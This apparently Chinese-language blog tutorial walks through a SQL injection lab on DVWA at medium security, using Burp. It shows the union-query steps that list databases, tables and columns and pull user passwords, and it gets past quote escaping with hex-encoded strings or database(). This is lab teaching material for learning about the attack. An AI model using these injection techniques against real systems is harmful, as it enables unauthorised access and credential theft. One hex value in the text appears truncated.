POST请求小测试(SQL注入)

目录

前期准备

利用Burp来实现代理,在其上进行SQL注入

接下来进行爆破数据

爆库

爆表

爆列

爆数据


前期准备

进入DVWA1.9,将安全防御设置为中等,进入SQL注入模拟

表单可以GET也可以POST提交,但是网址栏没有变化,可得其为POST提交

可以明显的看出来此页面为POST提交

 

利用Burp来实现代理,在其上进行SQL注入

步骤如下

  1. 判断提交方式
  2. 判断闭合符
  3. 判断输入列宽度
  4. 利用联合查询,查找想要的数据

 

经判断,此页面为POST提交,因为更改表单元素时,地址栏没有变化,闭合符为整形,输出列宽度为2

 

 

 

接下来进行爆破数据

 

爆库

select database(),version();

注入演示

后台查询验证:

 

爆表

select  table_name from information_schema.tables where table_schema='dvwa' limit 0,1;

注入演示

其内部的防御机制,将注入的单引号转义且进行了清洗破坏,导致页面打不开

查看网页的PHP源码,可得由于选择了中等安全等级,所以页面的提交方式时POST,且由于mySQL语句中的id前后有反斜杠的保护

 

解决:

将dvwa转成16进制,然后进行注入dvw的16进制为64767761,可见页面显示正常,即dvwa库的表名为guesbook uses,根据此方法查看dvwa库的所有表

或者将dvwa改成database()函数

二者结果一样,但是原理不一样,第一个用的是转码的技术,第二个用的时变量传值的技术

select  table_name from information_schema.tables where table_schema=0x64767761 limit 0,1;

select  table_name from information_schema.tables where table_schema=database() limit 0,1;

 

查看后台数据库,可见,其表名就是查询出来的

 

爆列

select column_name from information_schema.columns where table_schema=database() and table_name=0x75736;

注入演示

查看后台数据库,可见与注入所得的结果相同

 

爆数据

select password from users where first_name='Gordon';

select password from users where first_name=0x476f72646f6e;

 

注入演示

都知道了表名,列名,数据就直接爆破了(注意单引号被转义了,所以需要用16进制替代之)

查看后台数据库,可见与注入所得的结果相同

 

 


 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值